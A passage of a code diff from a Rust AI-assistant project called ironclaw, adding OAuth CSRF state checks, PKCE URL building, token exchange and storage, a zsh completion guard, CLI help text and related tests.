fn test_build_turns_malformed_tool_calls() {
|
||||
let messages = vec![
|
||||
make_msg("user", "Hello", 0),
|
||||
make_msg("tool_calls", "not json", 500),
|
||||
make_msg("assistant", "Done", 1000),
|
||||
];
|
||||
let turns = build_turns_from_db_messages(&messages);
|
||||
assert_eq!(turns.len(), 1);
|
||||
assert!(turns[0].tool_calls.is_empty());
|
||||
assert_eq!(turns[0].response.as_deref(), Some("Done"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_build_turns_backward_compatible() {
|
||||
let messages = vec![
|
||||
make_msg("user", "Hello", 0),
|
||||
make_msg("assistant", "Hi!", 1000),
|
||||
];
|
||||
let turns = build_turns_from_db_messages(&messages);
|
||||
assert_eq!(turns.len(), 1);
|
||||
assert!(turns[0].tool_calls.is_empty());
|
||||
assert_eq!(turns[0].state, "Completed");
|
||||
}
|
||||
}
|
||||
@@ -483,6 +483,7 @@ mod tests {
|
||||
store: None,
|
||||
job_manager: None,
|
||||
prompt_queue: None,
|
||||
scheduler: None,
|
||||
user_id: "test".to_string(),
|
||||
shutdown_tx: tokio::sync::RwLock::new(None),
|
||||
ws_tracker: Some(Arc::new(WsConnectionTracker::new())),
|
||||
@@ -493,7 +494,6 @@ mod tests {
|
||||
registry_entries: Vec::new(),
|
||||
cost_guard: None,
|
||||
startup_time: std::time::Instant::now(),
|
||||
restart_requested: std::sync::atomic::AtomicBool::new(false),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+42
-3
@@ -1,6 +1,6 @@
|
||||
use clap::{CommandFactory, Parser};
|
||||
use clap_complete::{Shell, generate};
|
||||
use std::io;
|
||||
use std::io::{self, Write};
|
||||
|
||||
/// Generate shell completion scripts for ironclaw
|
||||
#[derive(Parser, Debug)]
|
||||
@@ -15,8 +15,23 @@ impl Completion {
|
||||
let mut cmd = crate::cli::Cli::command();
|
||||
let bin_name = cmd.get_name().to_string();
|
||||
|
||||
// Generated and output script to stdout
|
||||
generate(self.shell, &mut cmd, bin_name, &mut io::stdout());
|
||||
if self.shell == Shell::Zsh {
|
||||
// Generate to buffer so we can patch the compdef call.
|
||||
// clap_complete emits bare `compdef _ironclaw ironclaw` which
|
||||
// errors if sourced before compinit. Guard it so the script
|
||||
// works in all sourcing contexts.
|
||||
let mut buf = Vec::new();
|
||||
generate(self.shell, &mut cmd, bin_name.clone(), &mut buf);
|
||||
let script = String::from_utf8(buf)?;
|
||||
|
||||
let bare = format!("compdef _{0} {0}", bin_name);
|
||||
let guarded = format!("(( $+functions[compdef] )) && compdef _{0} {0}", bin_name);
|
||||
let patched = script.replace(&bare, &guarded);
|
||||
|
||||
io::stdout().write_all(patched.as_bytes())?;
|
||||
} else {
|
||||
generate(self.shell, &mut cmd, bin_name, &mut io::stdout());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -36,4 +51,28 @@ mod tests {
|
||||
generate(completion.shell, &mut cmd, bin_name, &mut buf);
|
||||
assert!(!buf.is_empty(), "generate() should produce output");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_zsh_compdef_guard_applied() {
|
||||
let mut cmd = crate::cli::Cli::command();
|
||||
let bin_name = cmd.get_name().to_string();
|
||||
let mut buf = Vec::new();
|
||||
generate(Shell::Zsh, &mut cmd, bin_name.clone(), &mut buf);
|
||||
let raw = String::from_utf8(buf).unwrap();
|
||||
|
||||
// Apply the same patching logic as run()
|
||||
let bare = format!("compdef _{0} {0}", bin_name);
|
||||
let guarded = format!("(( $+functions[compdef] )) && compdef _{0} {0}", bin_name);
|
||||
let patched = raw.replace(&bare, &guarded);
|
||||
|
||||
let bare_compdef = format!(" compdef _{0} {0}\n", bin_name);
|
||||
assert!(
|
||||
!patched.contains(&bare_compdef),
|
||||
"bare compdef should not appear after patching"
|
||||
);
|
||||
assert!(
|
||||
patched.contains("$+functions[compdef]"),
|
||||
"patched output should contain compdef guard"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
+4
-8
@@ -6,6 +6,8 @@
|
||||
|
||||
use std::path::PathBuf;
|
||||
|
||||
use crate::bootstrap::ironclaw_base_dir;
|
||||
|
||||
/// Run all diagnostic checks and print results.
|
||||
pub async fn run_doctor_command() -> anyhow::Result<()> {
|
||||
println!("IronClaw Doctor");
|
||||
@@ -169,11 +171,7 @@ async fn try_pg_connect() -> Result<(), String> {
|
||||
url: Some(url),
|
||||
..Default::default()
|
||||
};
|
||||
let pool = config
|
||||
.create_pool(
|
||||
Some(deadpool_postgres::Runtime::Tokio1),
|
||||
tokio_postgres::NoTls,
|
||||
)
|
||||
let pool = crate::db::tls::create_pool(&config, crate::config::SslMode::from_env())
|
||||
.map_err(|e| format!("pool error: {e}"))?;
|
||||
|
||||
let client = tokio::time::timeout(std::time::Duration::from_secs(5), pool.get())
|
||||
@@ -195,9 +193,7 @@ async fn try_pg_connect() -> Result<(), String> {
|
||||
}
|
||||
|
||||
fn check_workspace_dir() -> CheckResult {
|
||||
let dir = dirs::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".ironclaw");
|
||||
let dir = ironclaw_base_dir();
|
||||
|
||||
if dir.exists() {
|
||||
if dir.is_dir() {
|
||||
|
||||
+2
-2
@@ -546,10 +546,10 @@ async fn get_secrets_store() -> anyhow::Result<Arc<dyn SecretsStore + Send + Syn
|
||||
.await
|
||||
.map_err(|e| anyhow::anyhow!("{}", e))?;
|
||||
|
||||
return Ok(Arc::new(crate::secrets::LibSqlSecretsStore::new(
|
||||
Ok(Arc::new(crate::secrets::LibSqlSecretsStore::new(
|
||||
backend.shared_db(),
|
||||
Arc::new(crypto),
|
||||
)));
|
||||
)))
|
||||
}
|
||||
|
||||
#[cfg(not(any(feature = "postgres", feature = "libsql")))]
|
||||
|
||||
+77
-8
@@ -37,14 +37,18 @@ pub use service::{ServiceCommand, run_service_command};
|
||||
pub use status::run_status_command;
|
||||
pub use tool::{ToolCommand, run_tool_command};
|
||||
|
||||
use clap::{Parser, Subcommand};
|
||||
use clap::{ColorChoice, Parser, Subcommand};
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
#[command(name = "ironclaw")]
|
||||
#[command(
|
||||
about = "Secure personal AI assistant that protects your data and expands its capabilities"
|
||||
)]
|
||||
#[command(
|
||||
long_about = "IronClaw is a secure AI assistant. Use 'ironclaw <subcommand> --help' for details.\nExamples:\n ironclaw run # Start the agent\n ironclaw config list # List configs"
|
||||
)]
|
||||
#[command(version)]
|
||||
#[command(color = ColorChoice::Auto)] // Enable auto-color for help (if the terminal supports it)
|
||||
pub struct Cli {
|
||||
#[command(subcommand)]
|
||||
pub command: Option<Command>,
|
||||
@@ -73,9 +77,17 @@ pub struct Cli {
|
||||
#[derive(Subcommand, Debug)]
|
||||
pub enum Command {
|
||||
/// Run the agent (default if no subcommand given)
|
||||
#[command(
|
||||
about = "Run the AI agent",
|
||||
long_about = "Starts the IronClaw agent in default mode.\nExample: ironclaw run"
|
||||
)]
|
||||
Run,
|
||||
|
||||
/// Interactive onboarding wizard
|
||||
#[command(
|
||||
about = "Run interactive setup wizard",
|
||||
long_about = "Guides through initial configuration.\nExamples:\n ironclaw onboard --skip-auth # Skip auth step\n ironclaw onboard --channels-only # Reconfigure channels"
|
||||
)]
|
||||
Onboard {
|
||||
/// Skip authentication (use existing session)
|
||||
#[arg(long)]
|
||||
@@ -87,44 +99,85 @@ pub enum Command {
|
||||
},
|
||||
|
||||
/// Manage configuration settings
|
||||
#[command(subcommand)]
|
||||
#[command(
|
||||
subcommand,
|
||||
about = "Manage app configs",
|
||||
long_about = "Commands for listing, getting, and setting configurations.\nExample: ironclaw config list"
|
||||
)]
|
||||
Config(ConfigCommand),
|
||||
|
||||
/// Manage WASM tools
|
||||
#[command(subcommand)]
|
||||
#[command(
|
||||
subcommand,
|
||||
about = "Manage WASM tools",
|
||||
long_about = "Install, list, or remove WASM-based tools.\nExample: ironclaw tool install mytool.wasm"
|
||||
)]
|
||||
Tool(ToolCommand),
|
||||
|
||||
/// Browse and install extensions from the registry
|
||||
#[command(subcommand)]
|
||||
#[command(
|
||||
subcommand,
|
||||
about = "Browse/install extensions",
|
||||
long_about = "Interact with extension registry.\nExample: ironclaw registry list"
|
||||
)]
|
||||
Registry(RegistryCommand),
|
||||
|
||||
/// Manage MCP servers (hosted tool providers)
|
||||
#[command(subcommand)]
|
||||
#[command(
|
||||
subcommand,
|
||||
about = "Manage MCP servers",
|
||||
long_about = "Add, auth, list, or test MCP servers.\nExample: ironclaw mcp add notion https://mcp.notion.com"
|
||||
)]
|
||||
Mcp(McpCommand),
|
||||
|
||||
/// Query and manage workspace memory
|
||||
#[command(subcommand)]
|
||||
#[command(
|
||||
subcommand,
|
||||
about = "Manage workspace memory",
|
||||
long_about = "Search, read, or write to memory.\nExample: ironclaw memory search 'query'"
|
||||
)]
|
||||
Memory(MemoryCommand),
|
||||
|
||||
/// DM pairing (approve inbound requests from unknown senders)
|
||||
#[command(subcommand)]
|
||||
#[command(
|
||||
subcommand,
|
||||
about = "Manage DM pairing",
|
||||
long_about = "Approve or manage pairing requests.\nExamples:\n ironclaw pairing list telegram\n ironclaw pairing approve telegram ABC12345"
|
||||
)]
|
||||
Pairing(PairingCommand),
|
||||
|
||||
/// Manage OS service (launchd / systemd)
|
||||
#[command(subcommand)]
|
||||
#[command(
|
||||
subcommand,
|
||||
about = "Manage OS service",
|
||||
long_about = "Install, start, or stop service.\nExample: ironclaw service install"
|
||||
)]
|
||||
Service(ServiceCommand),
|
||||
|
||||
/// Probe external dependencies and validate configuration
|
||||
#[command(
|
||||
about = "Run diagnostics",
|
||||
long_about = "Checks dependencies and config validity.\nExample: ironclaw doctor"
|
||||
)]
|
||||
Doctor,
|
||||
|
||||
/// Show system health and diagnostics
|
||||
#[command(
|
||||
about = "Show system status",
|
||||
long_about = "Displays health and diagnostics info.\nExample: ironclaw status"
|
||||
)]
|
||||
Status,
|
||||
|
||||
/// Generate shell completion scripts
|
||||
#[command(
|
||||
about = "Generate completions",
|
||||
long_about = "Generates shell completion scripts.\nExample: ironclaw completion --shell bash > ironclaw.bash"
|
||||
)]
|
||||
Completion(Completion),
|
||||
|
||||
/// Run as a sandboxed worker inside a Docker container (internal use).
|
||||
/// This is invoked automatically by the orchestrator, not by users directly.
|
||||
#[command(hide = true)]
|
||||
Worker {
|
||||
/// Job ID to execute.
|
||||
#[arg(long)]
|
||||
@@ -141,6 +194,7 @@ pub enum Command {
|
||||
|
||||
/// Run as a Claude Code bridge inside a Docker container (internal use).
|
||||
/// Spawns the `claude` CLI and streams output back to the orchestrator.
|
||||
#[command(hide = true)]
|
||||
ClaudeBridge {
|
||||
/// Job ID to execute.
|
||||
#[arg(long)]
|
||||
@@ -171,6 +225,7 @@ impl Cli {
|
||||
mod tests {
|
||||
use super::*;
|
||||
use clap::CommandFactory;
|
||||
use insta::assert_snapshot;
|
||||
|
||||
#[test]
|
||||
fn test_version() {
|
||||
@@ -180,4 +235,18 @@ mod tests {
|
||||
env!("CARGO_PKG_VERSION")
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_help_output() {
|
||||
let mut cmd = Cli::command();
|
||||
let help = cmd.render_help().to_string();
|
||||
assert_snapshot!(help);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_long_help_output() {
|
||||
let mut cmd = Cli::command();
|
||||
let help = cmd.render_long_help().to_string();
|
||||
assert_snapshot!(help);
|
||||
}
|
||||
}
|
||||
|
||||
+440
-13
@@ -17,11 +17,17 @@
|
||||
//! - **Runtime**: Users can set GOOGLE_OAUTH_CLIENT_ID / GOOGLE_OAUTH_CLIENT_SECRET
|
||||
//! env vars, which take priority over built-in defaults.
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::time::Duration;
|
||||
|
||||
use base64::{Engine, engine::general_purpose::URL_SAFE_NO_PAD};
|
||||
use rand::RngCore;
|
||||
use sha2::{Digest, Sha256};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
|
||||
use tokio::net::TcpListener;
|
||||
|
||||
use crate::secrets::{CreateSecretParams, SecretsStore};
|
||||
|
||||
// ── Built-in credentials ────────────────────────────────────────────────
|
||||
|
||||
pub struct OAuthCredentials {
|
||||
@@ -121,6 +127,9 @@ pub enum OAuthCallbackError {
|
||||
#[error("Timed out waiting for authorization")]
|
||||
Timeout,
|
||||
|
||||
#[error("CSRF state mismatch: expected {expected}, got {actual}")]
|
||||
StateMismatch { expected: String, actual: String },
|
||||
|
||||
#[error("IO error: {0}")]
|
||||
Io(String),
|
||||
}
|
||||
@@ -177,16 +186,22 @@ pub async fn bind_callback_listener() -> Result<TcpListener, OAuthCallbackError>
|
||||
/// extracts the value of `param_name` (e.g., "code" or "token"), and shows a branded
|
||||
/// landing page using `display_name` (e.g., "Google", "Notion", "NEAR AI").
|
||||
///
|
||||
/// When `expected_state` is `Some`, the callback's `state` query parameter is validated
|
||||
/// against it to prevent CSRF attacks. If the state doesn't match, the callback is
|
||||
/// rejected with an error page.
|
||||
///
|
||||
/// Times out after 5 minutes.
|
||||
pub async fn wait_for_callback(
|
||||
listener: TcpListener,
|
||||
path_prefix: &str,
|
||||
param_name: &str,
|
||||
display_name: &str,
|
||||
expected_state: Option<&str>,
|
||||
) -> Result<String, OAuthCallbackError> {
|
||||
let path_prefix = path_prefix.to_string();
|
||||
let param_name = param_name.to_string();
|
||||
let display_name = display_name.to_string();
|
||||
let expected_state = expected_state.map(String::from);
|
||||
|
||||
tokio::time::timeout(Duration::from_secs(300), async move {
|
||||
loop {
|
||||
@@ -221,17 +236,29 @@ pub async fn wait_for_callback(
|
||||
return Err(OAuthCallbackError::Denied);
|
||||
}
|
||||
|
||||
// Look for the target parameter
|
||||
for param in query.split('&') {
|
||||
let parts: Vec<&str> = param.splitn(2, '=').collect();
|
||||
if parts.len() == 2 && parts[0] == param_name {
|
||||
let value = urlencoding::decode(parts[1])
|
||||
.unwrap_or_else(|_| parts[1].into())
|
||||
.into_owned();
|
||||
// Parse all query params into a map for validation
|
||||
let params: HashMap<&str, String> = query
|
||||
.split('&')
|
||||
.filter_map(|p| {
|
||||
let mut parts = p.splitn(2, '=');
|
||||
let key = parts.next()?;
|
||||
let val = parts.next().unwrap_or("");
|
||||
Some((
|
||||
key,
|
||||
urlencoding::decode(val)
|
||||
.unwrap_or_else(|_| val.into())
|
||||
.into_owned(),
|
||||
))
|
||||
})
|
||||
.collect();
|
||||
|
||||
let html = landing_html(&display_name, true);
|
||||
// Validate CSRF state parameter
|
||||
if let Some(ref expected) = expected_state {
|
||||
let actual = params.get("state").cloned().unwrap_or_default();
|
||||
if actual != *expected {
|
||||
let html = landing_html(&display_name, false);
|
||||
let response = format!(
|
||||
"HTTP/1.1 200 OK\r\n\
|
||||
"HTTP/1.1 403 Forbidden\r\n\
|
||||
Content-Type: text/html; charset=utf-8\r\n\
|
||||
Connection: close\r\n\
|
||||
\r\n\
|
||||
@@ -239,11 +266,29 @@ pub async fn wait_for_callback(
|
||||
html
|
||||
);
|
||||
let _ = socket.write_all(response.as_bytes()).await;
|
||||
let _ = socket.shutdown().await;
|
||||
|
||||
return Ok(value);
|
||||
return Err(OAuthCallbackError::StateMismatch {
|
||||
expected: expected.clone(),
|
||||
actual,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// Look for the target parameter
|
||||
if let Some(value) = params.get(param_name.as_str()) {
|
||||
let html = landing_html(&display_name, true);
|
||||
let response = format!(
|
||||
"HTTP/1.1 200 OK\r\n\
|
||||
Content-Type: text/html; charset=utf-8\r\n\
|
||||
Connection: close\r\n\
|
||||
\r\n\
|
||||
{}",
|
||||
html
|
||||
);
|
||||
let _ = socket.write_all(response.as_bytes()).await;
|
||||
let _ = socket.shutdown().await;
|
||||
|
||||
return Ok(value.clone());
|
||||
}
|
||||
}
|
||||
|
||||
// Not the callback we're looking for
|
||||
@@ -271,7 +316,288 @@ fn html_escape(s: &str) -> String {
|
||||
out
|
||||
}
|
||||
|
||||
/// HTML landing page shown in the browser after an OAuth redirect.
|
||||
// ── Shared OAuth flow steps ─────────────────────────────────────────
|
||||
|
||||
/// Response from the OAuth token exchange.
|
||||
pub struct OAuthTokenResponse {
|
||||
pub access_token: String,
|
||||
pub refresh_token: Option<String>,
|
||||
pub expires_in: Option<u64>,
|
||||
}
|
||||
|
||||
/// Result of building an OAuth 2.0 authorization URL.
|
||||
pub struct OAuthUrlResult {
|
||||
/// The full authorization URL to redirect the user to.
|
||||
pub url: String,
|
||||
/// PKCE code verifier (must be sent with the token exchange request).
|
||||
pub code_verifier: Option<String>,
|
||||
/// Random state parameter for CSRF protection (must be validated in callback).
|
||||
pub state: String,
|
||||
}
|
||||
|
||||
/// Build an OAuth 2.0 authorization URL with optional PKCE and CSRF state.
|
||||
///
|
||||
/// Returns an `OAuthUrlResult` containing the authorization URL, optional PKCE
|
||||
/// code verifier, and a random `state` parameter for CSRF protection. The caller
|
||||
/// must validate the `state` value in the callback before exchanging the code.
|
||||
pub fn build_oauth_url(
|
||||
authorization_url: &str,
|
||||
client_id: &str,
|
||||
redirect_uri: &str,
|
||||
scopes: &[String],
|
||||
use_pkce: bool,
|
||||
extra_params: &HashMap<String, String>,
|
||||
) -> OAuthUrlResult {
|
||||
// Generate PKCE verifier and challenge
|
||||
let (code_verifier, code_challenge) = if use_pkce {
|
||||
let mut verifier_bytes = [0u8; 32];
|
||||
rand::thread_rng().fill_bytes(&mut verifier_bytes);
|
||||
let verifier = URL_SAFE_NO_PAD.encode(verifier_bytes);
|
||||
|
||||
let mut hasher = Sha256::new();
|
||||
hasher.update(verifier.as_bytes());
|
||||
let challenge = URL_SAFE_NO_PAD.encode(hasher.finalize());
|
||||
|
||||
(Some(verifier), Some(challenge))
|
||||
} else {
|
||||
(None, None)
|
||||
};
|
||||
|
||||
// Generate random state for CSRF protection
|
||||
let mut state_bytes = [0u8; 32];
|
||||
rand::thread_rng().fill_bytes(&mut state_bytes);
|
||||
let state = URL_SAFE_NO_PAD.encode(state_bytes);
|
||||
|
||||
// Build authorization URL
|
||||
let mut auth_url = format!(
|
||||
"{}?client_id={}&response_type=code&redirect_uri={}&state={}",
|
||||
authorization_url,
|
||||
urlencoding::encode(client_id),
|
||||
urlencoding::encode(redirect_uri),
|
||||
urlencoding::encode(&state),
|
||||
);
|
||||
|
||||
if !scopes.is_empty() {
|
||||
auth_url.push_str(&format!(
|
||||
"&scope={}",
|
||||
urlencoding::encode(&scopes.join(" "))
|
||||
));
|
||||
}
|
||||
|
||||
if let Some(ref challenge) = code_challenge {
|
||||
auth_url.push_str(&format!(
|
||||
"&code_challenge={}&code_challenge_method=S256",
|
||||
challenge
|
||||
));
|
||||
}
|
||||
|
||||
for (key, value) in extra_params {
|
||||
auth_url.push_str(&format!(
|
||||
"&{}={}",
|
||||
urlencoding::encode(key),
|
||||
urlencoding::encode(value)
|
||||
));
|
||||
}
|
||||
|
||||
OAuthUrlResult {
|
||||
url: auth_url,
|
||||
code_verifier,
|
||||
state,
|
||||
}
|
||||
}
|
||||
|
||||
/// Exchange an OAuth authorization code for tokens.
|
||||
///
|
||||
/// POSTs to `token_url` with the authorization code and optional PKCE verifier.
|
||||
/// If `client_secret` is provided, uses HTTP Basic auth; otherwise includes
|
||||
/// `client_id` in the form body (for public clients).
|
||||
pub async fn exchange_oauth_code(
|
||||
token_url: &str,
|
||||
client_id: &str,
|
||||
client_secret: Option<&str>,
|
||||
code: &str,
|
||||
redirect_uri: &str,
|
||||
code_verifier: Option<&str>,
|
||||
access_token_field: &str,
|
||||
) -> Result<OAuthTokenResponse, OAuthCallbackError> {
|
||||
let client = reqwest::Client::new();
|
||||
let mut token_params = vec![
|
||||
("grant_type", "authorization_code".to_string()),
|
||||
("code", code.to_string()),
|
||||
("redirect_uri", redirect_uri.to_string()),
|
||||
];
|
||||
|
||||
if let Some(verifier) = code_verifier {
|
||||
token_params.push(("code_verifier", verifier.to_string()));
|
||||
}
|
||||
|
||||
let mut request = client.post(token_url);
|
||||
|
||||
if let Some(secret) = client_secret {
|
||||
request = request.basic_auth(client_id, Some(secret));
|
||||
} else {
|
||||
token_params.push(("client_id", client_id.to_string()));
|
||||
}
|
||||
|
||||
let token_response = request
|
||||
.form(&token_params)
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| OAuthCallbackError::Io(format!("Token exchange request failed: {}", e)))?;
|
||||
|
||||
if !token_response.status().is_success() {
|
||||
let status = token_response.status();
|
||||
let body = token_response.text().await.unwrap_or_default();
|
||||
return Err(OAuthCallbackError::Io(format!(
|
||||
"Token exchange failed: {} - {}",
|
||||
status, body
|
||||
)));
|
||||
}
|
||||
|
||||
let token_data: serde_json::Value = token_response
|
||||
.json()
|
||||
.await
|
||||
.map_err(|e| OAuthCallbackError::Io(format!("Failed to parse token response: {}", e)))?;
|
||||
|
||||
let access_token = token_data
|
||||
.get(access_token_field)
|
||||
.and_then(|v| v.as_str())
|
||||
.ok_or_else(|| {
|
||||
// Log only the field names present, not values (which may contain tokens)
|
||||
let fields: Vec<&str> = token_data
|
||||
.as_object()
|
||||
.map(|o| o.keys().map(|k| k.as_str()).collect())
|
||||
.unwrap_or_default();
|
||||
OAuthCallbackError::Io(format!(
|
||||
"No '{}' field in token response (fields present: {:?})",
|
||||
access_token_field, fields
|
||||
))
|
||||
})?
|
||||
.to_string();
|
||||
|
||||
let refresh_token = token_data
|
||||
.get("refresh_token")
|
||||
.and_then(|v| v.as_str())
|
||||
.map(String::from);
|
||||
let expires_in = token_data.get("expires_in").and_then(|v| v.as_u64());
|
||||
|
||||
Ok(OAuthTokenResponse {
|
||||
access_token,
|
||||
refresh_token,
|
||||
expires_in,
|
||||
})
|
||||
}
|
||||
|
||||
/// Store OAuth tokens (access + refresh) in the secrets store.
|
||||
///
|
||||
/// Also stores the granted scopes as `{secret_name}_scopes` so that scope
|
||||
/// expansion can be detected on subsequent activations.
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
pub async fn store_oauth_tokens(
|
||||
store: &(dyn SecretsStore + Send + Sync),
|
||||
user_id: &str,
|
||||
secret_name: &str,
|
||||
provider: Option<&str>,
|
||||
access_token: &str,
|
||||
refresh_token: Option<&str>,
|
||||
expires_in: Option<u64>,
|
||||
scopes: &[String],
|
||||
) -> Result<(), OAuthCallbackError> {
|
||||
let mut params = CreateSecretParams::new(secret_name, access_token);
|
||||
|
||||
if let Some(prov) = provider {
|
||||
params = params.with_provider(prov);
|
||||
}
|
||||
|
||||
if let Some(secs) = expires_in {
|
||||
let expires_at = chrono::Utc::now() + chrono::Duration::seconds(secs as i64);
|
||||
params = params.with_expiry(expires_at);
|
||||
}
|
||||
|
||||
store
|
||||
.create(user_id, params)
|
||||
.await
|
||||
.map_err(|e| OAuthCallbackError::Io(format!("Failed to save token: {}", e)))?;
|
||||
|
||||
// Store refresh token separately (no expiry, it's long-lived)
|
||||
if let Some(rt) = refresh_token {
|
||||
let refresh_name = format!("{}_refresh_token", secret_name);
|
||||
let mut refresh_params = CreateSecretParams::new(&refresh_name, rt);
|
||||
if let Some(prov) = provider {
|
||||
refresh_params = refresh_params.with_provider(prov);
|
||||
}
|
||||
store
|
||||
.create(user_id, refresh_params)
|
||||
.await
|
||||
.map_err(|e| OAuthCallbackError::Io(format!("Failed to save refresh token: {}", e)))?;
|
||||
}
|
||||
|
||||
// Store granted scopes for scope expansion detection
|
||||
if !scopes.is_empty() {
|
||||
let scopes_name = format!("{}_scopes", secret_name);
|
||||
let scopes_value = scopes.join(" ");
|
||||
let scopes_params = CreateSecretParams::new(&scopes_name, &scopes_value);
|
||||
// Best-effort: scope tracking failure shouldn't block auth
|
||||
let _ = store.create(user_id, scopes_params).await;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Validate an OAuth token against a tool's validation endpoint.
|
||||
///
|
||||
/// Sends a request to the configured endpoint with the token as a Bearer header.
|
||||
/// Returns `Ok(())` if the response status matches the expected success status,
|
||||
/// or an error with details if validation fails (wrong account, expired token, etc.).
|
||||
pub async fn validate_oauth_token(
|
||||
token: &str,
|
||||
validation: &crate::tools::wasm::ValidationEndpointSchema,
|
||||
) -> Result<(), OAuthCallbackError> {
|
||||
let client = reqwest::Client::builder()
|
||||
.timeout(Duration::from_secs(10))
|
||||
.build()
|
||||
.map_err(|e| OAuthCallbackError::Io(format!("Failed to build HTTP client: {}", e)))?;
|
||||
|
||||
let request = match validation.method.to_uppercase().as_str() {
|
||||
"POST" => client.post(&validation.url),
|
||||
_ => client.get(&validation.url),
|
||||
};
|
||||
|
||||
let mut request = request.header("Authorization", format!("Bearer {}", token));
|
||||
|
||||
// Add custom headers from the validation schema (e.g., Notion-Version)
|
||||
for (key, value) in &validation.headers {
|
||||
request = request.header(key, value);
|
||||
}
|
||||
|
||||
let response = request
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| OAuthCallbackError::Io(format!("Validation request failed: {}", e)))?;
|
||||
|
||||
if response.status().as_u16() == validation.success_status {
|
||||
Ok(())
|
||||
} else {
|
||||
let status = response.status();
|
||||
let body = response.text().await.unwrap_or_default();
|
||||
let truncated: String = if body.len() > 200 {
|
||||
let mut end = 200;
|
||||
while end > 0 && !body.is_char_boundary(end) {
|
||||
end -= 1;
|
||||
}
|
||||
format!("{}...", &body[..end])
|
||||
} else {
|
||||
body
|
||||
};
|
||||
Err(OAuthCallbackError::Io(format!(
|
||||
"Token validation failed: HTTP {} (expected {}): {}",
|
||||
status, validation.success_status, truncated
|
||||
)))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Landing pages ───────────────────────────────────────────────────
|
||||
|
||||
pub fn landing_html(provider_name: &str, success: bool) -> String {
|
||||
let safe_name = html_escape(provider_name);
|
||||
let (icon, heading, subtitle, accent) = if success {
|
||||
@@ -512,4 +838,105 @@ mod tests {
|
||||
assert!(html.contains("#ef4444")); // red accent
|
||||
assert!(!html.contains("Connected"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_build_oauth_url_basic() {
|
||||
use std::collections::HashMap;
|
||||
|
||||
use crate::cli::oauth_defaults::build_oauth_url;
|
||||
|
||||
let result = build_oauth_url(
|
||||
"https://accounts.google.com/o/oauth2/auth",
|
||||
"my-client-id",
|
||||
"http://localhost:9876/callback",
|
||||
&["openid".to_string(), "email".to_string()],
|
||||
false,
|
||||
&HashMap::new(),
|
||||
);
|
||||
|
||||
assert!(
|
||||
result
|
||||
.url
|
||||
.starts_with("https://accounts.google.com/o/oauth2/auth?")
|
||||
);
|
||||
assert!(result.url.contains("client_id=my-client-id"));
|
||||
assert!(result.url.contains("response_type=code"));
|
||||
assert!(result.url.contains("redirect_uri="));
|
||||
assert!(result.url.contains("scope=openid%20email"));
|
||||
assert!(result.url.contains("state="));
|
||||
assert!(result.code_verifier.is_none());
|
||||
assert!(!result.state.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_build_oauth_url_with_pkce() {
|
||||
use std::collections::HashMap;
|
||||
|
||||
use crate::cli::oauth_defaults::build_oauth_url;
|
||||
|
||||
let result = build_oauth_url(
|
||||
"https://auth.example.com/authorize",
|
||||
"client-123",
|
||||
"http://localhost:9876/callback",
|
||||
&[],
|
||||
true,
|
||||
&HashMap::new(),
|
||||
);
|
||||
|
||||
assert!(result.url.contains("code_challenge="));
|
||||
assert!(result.url.contains("code_challenge_method=S256"));
|
||||
assert!(result.code_verifier.is_some());
|
||||
let verifier = result.code_verifier.unwrap();
|
||||
assert!(!verifier.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_build_oauth_url_with_extra_params() {
|
||||
use std::collections::HashMap;
|
||||
|
||||
use crate::cli::oauth_defaults::build_oauth_url;
|
||||
|
||||
let mut extra = HashMap::new();
|
||||
extra.insert("access_type".to_string(), "offline".to_string());
|
||||
extra.insert("prompt".to_string(), "consent".to_string());
|
||||
|
||||
let result = build_oauth_url(
|
||||
"https://auth.example.com/authorize",
|
||||
"client-123",
|
||||
"http://localhost:9876/callback",
|
||||
&["read".to_string()],
|
||||
false,
|
||||
&extra,
|
||||
);
|
||||
|
||||
assert!(result.url.contains("access_type=offline"));
|
||||
assert!(result.url.contains("prompt=consent"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_build_oauth_url_state_is_unique() {
|
||||
use std::collections::HashMap;
|
||||
|
||||
use crate::cli::oauth_defaults::build_oauth_url;
|
||||
|
||||
let result1 = build_oauth_url(
|
||||
"https://auth.example.com/authorize",
|
||||
"client",
|
||||
"http://localhost:9876/callback",
|
||||
&[],
|
||||
false,
|
||||
&HashMap::new(),
|
||||
);
|
||||
let result2 = build_oauth_url(
|
||||
"https://auth.example.com/authorize",
|
||||
"client",
|
||||
"http://localhost:9876/callback",
|
||||
&[],
|
||||
false,
|
||||
&HashMap::new(),
|
||||
);
|
||||
|
||||
// State should be different each time (random)
|
||||
assert_ne!(result1.state, result2.state);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
---
|
||||
source: src/cli/mod.rs
|
||||
expression: help
|
||||
---
|
||||
Secure personal AI assistant that protects your data and expands its capabilities
|
||||
|
||||
Usage: ironclaw [OPTIONS] [COMMAND]
|
||||
|
||||
Commands:
|
||||
run Run the AI agent
|
||||
onboard Run interactive setup wizard
|
||||
config Manage app configs
|
||||
tool Manage WASM tools
|
||||
registry Browse/install extensions
|
||||
mcp Manage MCP servers
|
||||
memory Manage workspace memory
|
||||
pairing Manage DM pairing
|
||||
service Manage OS service
|
||||
doctor Run diagnostics
|
||||
status Show system status
|
||||
completion Generate completions
|
||||
help Print this message or the help of the given subcommand(s)
|
||||
|
||||
Options:
|
||||
